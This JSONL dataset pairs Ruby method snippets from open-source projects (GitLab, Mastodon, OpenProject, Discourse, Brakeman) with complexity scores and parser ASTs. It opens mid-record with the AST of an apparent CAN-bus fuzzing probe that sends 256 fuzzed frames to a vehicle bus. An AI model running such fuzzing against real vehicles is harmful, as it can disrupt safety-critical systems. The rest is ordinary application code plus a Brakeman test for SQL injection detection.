:\"lvasgn\",\"children\":[\"endpadding\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02X\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PADDING\"]}]}]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"-\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FUZZ\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[256]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fuzzdata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"cansend\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CANBUS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02X\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"fuzzdata\"]}]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"endpadding\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"cansend\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CANBUS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"endpadding\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Probe Complete\"]}]}]}]}","id":"5e9593dc-31be-4cff-a17c-eacab959cb4a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/merge_service.rb","start_line":126,"raw_source":"def delete_source_branch?\n params.fetch('should_remove_source_branch', @merge_request.force_remove_source_branch?) &&\n @merge_request.can_remove_source_branch?(branch_deletion_user)\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_source_branch?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"should_remove_source_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"force_remove_source_branch?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"can_remove_source_branch?\",{\"type\":\"send\",\"children\":[null,\"branch_deletion_user\"]}]}]}]}","id":"08974cf3-ca81-4afc-a5de-613a5ead7837"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/2_secret_token.rb","start_line":111,"raw_source":"def set_missing_keys(defaults)\n defaults.each_with_object({}) do |(key, default), missing|\n next if Rails.application.credentials.public_send(key).present?\n\n warn_missing_secret(key)\n\n missing[key] = Rails.application.credentials[key] = default\n end\n end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_missing_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"defaults\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"arg\",\"children\":[\"missing\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"credentials\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"present?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"warn_missing_secret\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"credentials\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}]}]}]}","id":"55ec4126-26f0-4c82-b51d-16bad42c47da"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/create.rb","start_line":205,"raw_source":"def process_tags\n return if @object['tag'].nil?\n\n as_array(@object['tag']).each do |tag|\n if equals_or_includes?(tag['type'], 'Hashtag')\n process_hashtag tag\n elsif equals_or_includes?(tag['type'], 'Mention')\n process_mention tag\n elsif equals_or_includes?(tag['type'], 'Emoji')\n process_emoji tag\n end\n end\n end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_array\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Hashtag\"]}]},{\"type\":\"send\",\"children\":[null,\"process_hashtag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Mention\"]}]},{\"type\":\"send\",\"children\":[null,\"process_mention\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Emoji\"]}]},{\"type\":\"send\",\"children\":[null,\"process_emoji\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},null]}]}]}]}]}]}","id":"ad38dbcd-e96b-4471-a79b-6cc8bd2b736c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":144,"raw_source":"def by_source(items)\n return items unless ::Ci::Pipeline.sources.key?(params[:source])\n\n items.with_pipeline_source(params[:source])\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"by_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"sources\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_pipeline_source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]}]}]}","id":"692cb33c-bd06-4690-891f-1d77207fc85a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/invite_accepted_mailer.rb","start_line":11,"raw_source":"def email\n return unless valid_to_email?\n\n mail_with_locale(\n to: member.created_by.notification_email_for(member_source.notification_group),\n subject: EmailsHelper.subject_with_prefix_and_suffix(['Invitation accepted'])\n )\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_to_email?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"mail_with_locale\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"created_by\"]},\"notification_email_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member_source\"]},\"notification_group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailsHelper\"]},\"subject_with_prefix_and_suffix\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Invitation accepted\"]}]}]}]}]}]}]}]}","id":"67c4bfd2-44cd-420f-aaa9-4b0cab11c651"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":22,"raw_source":"def self.sign_in_enabled?\n enabled? && !prevent_ldap_sign_in?\n end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sign_in_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prevent_ldap_sign_in?\"]},\"!\"]}]}]}","id":"0d83a712-9e9d-4e33-8a74-d86897200022"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/services/upsert_issue_note.rb","start_line":37,"raw_source":"def call(payload, work_packages: [])\n find_or_initialize(payload).tap do |issue|\n issue.update!(work_packages: issue.work_packages | work_packages, **extract_params(payload))\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"kwoptarg\",\"children\":[\"work_packages\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_or_initialize\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_packages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"work_packages\"]},\"|\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_params\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]}","id":"17c65e1d-8246-4d26-9171-18b1f89e6dc1"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/settings.rb","start_line":35,"raw_source":"def week_with_all_days_working\n Setting.working_days = Array(1..7)\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"week_with_all_days_working\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"working_days=\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}","id":"525cf8a9-f13e-4779-95b6-fd1fb15edd21"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/projects/update_contract.rb","start_line":49,"raw_source":"def project_attributes_only = options[:project_attributes_only].present?","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"project_attributes_only\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_attributes_only\"]}]},\"present?\"]}]}","id":"9d55b0da-a560-4991-ac39-a00b05a48d46"} {"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/automatic_mode/migrate_values_job.rb","start_line":51,"raw_source":"def create_temporary_tables\n execute(<<~SQL.squish)\n CREATE UNLOGGED TABLE temp_wp_values\n AS SELECT\n id,\n start_date,\n due_date,\n schedule_manually\n FROM work_packages\n SQL\n execute(<<~SQL.squish)\n CREATE MATERIALIZED VIEW follows_relations\n AS SELECT\n relations.id as id,\n relations.from_id as succ_id,\n COALESCE(wp_pred.due_date, wp_pred.start_date) as pred_date,\n COALESCE(wp_succ.start_date, wp_succ.due_date) as succ_date,\n wp_succ.schedule_manually as succ_schedule_manually\n FROM relations\n LEFT JOIN work_packages wp_pred ON relations.to_id = wp_pred.id\n LEFT JOIN work_packages wp_succ ON relations.from_id = wp_succ.id\n WHERE relation_type = 'follows'\n SQL\n execute(\"CREATE INDEX ON follows_relations (succ_id)\")\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_temporary_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE UNLOGGED TABLE temp_wp_values\\n\"]},{\"type\":\"str\",\"children\":[\"AS SELECT\\n\"]},{\"type\":\"str\",\"children\":[\" id,\\n\"]},{\"type\":\"str\",\"children\":[\" start_date,\\n\"]},{\"type\":\"str\",\"children\":[\" due_date,\\n\"]},{\"type\":\"str\",\"children\":[\" schedule_manually\\n\"]},{\"type\":\"str\",\"children\":[\"FROM work_packages\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE MATERIALIZED VIEW follows_relations\\n\"]},{\"type\":\"str\",\"children\":[\"AS SELECT\\n\"]},{\"type\":\"str\",\"children\":[\" relations.id as id,\\n\"]},{\"type\":\"str\",\"children\":[\" relations.from_id as succ_id,\\n\"]},{\"type\":\"str\",\"children\":[\" COALESCE(wp_pred.due_date, wp_pred.start_date) as pred_date,\\n\"]},{\"type\":\"str\",\"children\":[\" COALESCE(wp_succ.start_date, wp_succ.due_date) as succ_date,\\n\"]},{\"type\":\"str\",\"children\":[\" wp_succ.schedule_manually as succ_schedule_manually\\n\"]},{\"type\":\"str\",\"children\":[\"FROM relations\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN work_packages wp_pred ON relations.to_id = wp_pred.id\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN work_packages wp_succ ON relations.from_id = wp_succ.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE relation_type = 'follows'\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX ON follows_relations (succ_id)\"]}]}]}]}","id":"f166bfaf-28a2-4485-a505-861eefa0300b"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":355,"raw_source":"def test_sql_injection_chained_call_in_scope\n assert_warning :type => :warning,\n :warning_code => 0,\n :fingerprint => \"aa073ab210f9f4a800b5595241a6274656d37087a4f433d4b596516e1227d91b\",\n :warning_type => \"SQL Injection\",\n :line => 6,\n :message => /^Possible\\ SQL\\ injection/,\n :confidence => 1,\n :relative_path => \"app/models/user.rb\",\n :user_input => s(:lvar, :col)\n end","complexity_score":2.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_chained_call_in_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"aa073ab210f9f4a800b5595241a6274656d37087a4f433d4b596516e1227d91b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"col\"]}]}]}]}]}]}","id":"baa415d9-e96f-4918-9c6a-0b1679e96ffd"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/my/backup_codes_controller.rb","start_line":31,"raw_source":"def check_regenerate_done\n @backup_codes = flash[:_backup_codes]\n flash.delete :_backup_codes\n\n unless @backup_codes.present?\n flash[:error] = I18n.t(:notice_bad_request)\n redirect_to my_2fa_devices_path\n end\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_regenerate_done\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backup_codes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_backup_codes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"_backup_codes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@backup_codes\"]},\"present?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_bad_request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"my_2fa_devices_path\"]}]}]}]}]}]}","id":"8e79a18b-dca8-4b70-8167-6c33f42ed6da"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/filters/work_package.rb","start_line":34,"raw_source":"def render\n write(content_tag(:div, id: \"#{filter_class.underscore_name}_arg_1\", class: \"advanced-filters--filter-value\") do\n label = html_label\n\n selected_values = map_filter_values\n\n box = angular_component_tag \"opce-autocompleter\",\n inputs: {\n filters: [],\n InputName: \"values[#{filter_class.underscore_name}]\",\n hiddenFieldAction: \"change->reporting--page#selectValueChanged\",\n multiple: true,\n defaultData: true,\n model: selected_values.compact,\n url: ::API::V3::Utilities::PathHelper::ApiV3Path.work_packages,\n resource: \"work_packages\",\n searchKey: \"subjectOrId\"\n },\n id: \"#{filter_class.underscore_name}_select_1\",\n class: \"filter-value advanced-filters--ng-select\"\n\n content_tag(:span, class: \"inline-label\") do\n label + box\n end\n end)\n end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_class\"]},\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\"_arg_1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"advanced-filters--filter-value\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[null,\"html_label\"]}]},{\"type\":\"lvasgn\",\"children\":[\"selected_values\",{\"type\":\"send\",\"children\":[null,\"map_filter_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"box\",{\"type\":\"send\",\"children\":[null,\"angular_component_tag\",{\"type\":\"str\",\"children\":[\"opce-autocompleter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inputs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"InputName\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"values[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_class\"]},\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hiddenFieldAction\"]},{\"type\":\"str\",\"children\":[\"change->reporting--page#selectValueChanged\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"defaultData\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_values\"]},\"compact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Utilities\"]},\"PathHelper\"]},\"ApiV3Path\"]},\"work_packages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"str\",\"children\":[\"work_packages\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"searchKey\"]},{\"type\":\"str\",\"children\":[\"subjectOrId\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_class\"]},\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\"_select_1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"filter-value advanced-filters--ng-select\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"inline-label\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"box\"]}]}]}]}]}]}]}","id":"6764b357-47b1-4d23-bcf6-6c2204b91672"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/set_status_service.rb","start_line":43,"raw_source":"def status_cleared?\n params[:emoji].blank? &&\n params[:message].blank? &&\n (new_user_availability.blank? || new_user_availability == UserStatus.availabilities[:not_set])\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status_cleared?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"emoji\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"blank?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_user_availability\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_user_availability\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserStatus\"]},\"availabilities\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not_set\"]}]}]}]}]}]}]}","id":"26645f0f-2c7b-4b73-b51b-7f7e8d030b4a"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":564,"raw_source":"def is_reply_by_email?\n via_email && post_number.present? && post_number > 1\n end","complexity_score":8.75,"ast_json":"{\"type\":\"def\",\"children\":[\"is_reply_by_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"via_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_number\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_number\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"d730770c-01f3-4a14-b653-0ce182cc6428"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/versions/row_component.rb","start_line":77,"raw_source":"def wiki_page\n return \"\" if wiki_page_title.blank? || version.project.wiki.nil?\n\n helpers.link_to_if_authorized(wiki_page_title,\n controller: \"/wiki\",\n action: \"show\",\n project_id: version.project,\n id: wiki_page_title) || h(wiki_page_title)\n 